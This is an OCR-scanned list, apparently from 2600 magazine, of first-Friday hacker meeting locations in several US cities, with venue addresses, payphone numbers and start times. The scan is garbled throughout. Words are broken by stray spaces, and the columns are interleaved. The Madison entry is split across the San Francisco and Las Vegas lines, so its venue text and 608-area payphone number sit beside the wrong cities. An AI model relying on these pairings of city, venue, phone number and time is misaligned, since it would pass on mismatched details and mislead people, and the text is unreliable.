Madison : Union South (227 N .  Ran­
dal l  Ave . )  on the lower level in the Mar-San Francisco: 4 Em barcadero Plaza 

( inside).  Payphones: ( 4 1 5 )  398-9803, 
9804, 9805, 9806. 5:30 pm. 
San Jose: Outside the cafe at the 
M L K  Library at 4th and E.  San Fer­
nando. 6 pm. 

t in  Luther King Jr. Lou nge. Payphon e :  
L a s  Vegas: Coffee B e a n  Tea L e a f  cot- (608) 251 -9909. 
fee shop, 4550 S .  Maryland Pkwy. 

Colorado 
Boulder: Wing Zone food court, 1 3th 
and College. 6 pm. 
Denver: Borders Cafe, Parker and 
Arapahoe. 

7 pm. 
New Mexico 

Albuquerque: University of New Mex­
ICO Student Union BUi lding (plaza 
"lower" level lounge), main campus. 
Payphones: 505-843-9033, 505-843-
9034. 5:30 p m .  

Mi lwaukee: T h e  N o d e ,  1 504 E .  North 
Ave. 
All  meetings take place on the first 
Friday of the month. U n less other­
wise noted, they start at 5 pm local 
time. To start a meeting in your city, 
send email to meetings@2600.com. 
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